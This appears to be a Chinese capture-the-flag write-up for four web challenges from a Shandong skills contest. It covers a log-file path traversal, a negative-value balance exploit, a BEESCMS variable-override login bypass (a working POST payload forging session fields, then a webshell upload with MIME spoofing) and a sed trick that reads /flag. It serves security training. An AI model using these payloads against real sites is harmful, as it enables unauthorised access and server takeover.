山东省“技能兴鲁”职业技能大赛 学生组 WEB方向全wp

1、日志里的flag(目录穿越)

打开就能看见源码

 <?php
    highlight_file(__FILE__);
    print("FLAG就存在于日志文件里哦!");
    if (isset($_GET['path'])) {
        $path = $_GET['path'];
        if (preg_match('/flag|\$|["\']/i', $path)) {
            echo "错误";
        } else {
            $path = str_replace("log","", $path);
            if (file_exists($path)) {
                $content = file_get_contents($path);
                echo highlight_string($content, true);
            } else {
                echo "文件不存在";
            }
        }
    } else {
        echo "请提供文件路径";
    }
FLAG就存在于日志文件里哦!请提供文件路径

抓包能看见回显里有Server: nginx/1.22.1

在 Linux 系统上,Nginx 的默认访问日志和错误日志路径可以在 Nginx 的配置文件中进行设置。一般来说,默认情况下,Nginx 的访问日志和错误日志的位置如下:

  1. 访问日志:默认情况下,Nginx 的访问日志路径是 /var/log/nginx/access.log。这个路径可以在 Nginx 的配置文件中通过 access_log 指令进行设置。

  2. 错误日志:默认情况下,Nginx 的错误日志路径是 /var/log/nginx/error.log。这个路径可以在 Nginx 的配置文件中通过 error_log 指令进行设置。

所以就是../../../../跳转去根目录再跳转去日志,同时双写绕过str_repalce

payload如下:

2、 购买flag

随便输入一个用户名进去

点花费1积分且抓包,能看见post请求体那里username=admin&value=-1

把-1改成10000000000000

利用这个逻辑漏洞增加余额,然后再去购买flag且抓包,在response就能看见flag

另一种方法就是前端拦截,通过修改源码里被注释的充值代码里的update_my_value(uname, 1)为update_my_value(uname, 10000000000)充值,再去购买flag

3、一只小蜜蜂(BEESCMS漏洞)

能扫出登录网站/admin/login.php,这个cms能找到有SQL注入和文件上传漏洞

但是当时这里刷新不了验证码后面没有继续找文章做,后面才知道这里其实在/includes/init.php有变量覆盖漏洞

    if (!get_magic_quotes_gpc()){
    if (isset($_REQUEST))    {
        $_REQUEST  = addsl($_REQUEST);    
}    
$_COOKIE   = addsl($_COOKIE);  
$_POST = addsl($_POST);  
$_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}    
$_COOKIE   = fl_value($_COOKIE);  
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

通过@extract()来引入变量,进行变量的覆盖操作,可以通过post方法传递构造的session来绕过验证码登录

参考链接:【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析 | CN-SEC 中文网

按照给出的payload即可绕过验证码登录

CET:

http://www.beescms.test/index.php

POST:

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

然后直接访问后台登录

http://www.beescms.test/admin/admin.php

找到文件上传处上传一句话木马后抓包,修改MIME绕过检测

直接访问./admin/upload/img/文件名 就能看到flag

4、Better_php

dirsearch扫目录扫出/index.php.bak,打开发现以下源码后就没什么头绪了,看大佬wp

【Web】“技能兴鲁”网安赛项wp及完赛感想-CSDN博客

include 'conn.php'; 
$query = $_GET["query"]; 
if (!is_string($query)) {
    die(); 
} 
if (preg_match('/log|local|set|file/i', $query)) {
    die('no hack'); 
} 
$result = $mysqli->query($query); 
if ($result === false) { 
    die("database error, please check your input"); 
} 
$row = $result->fetch_assoc(); 
if ($row === NULL) { 
    die("searched nothing"); 
} 
if (in_array($query, $row)) { 
    system('echo Great hacker, but there are bigger challenges waiting for you next, you can find something in ;ls'); 
} 
$result->free(); 
$mysqli->close(); 

学到了sed p /[e-g][0-2]* ;这种读文件的方法,转换下sed p /[e-g][i-m]* ;就相当于cat /flag了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值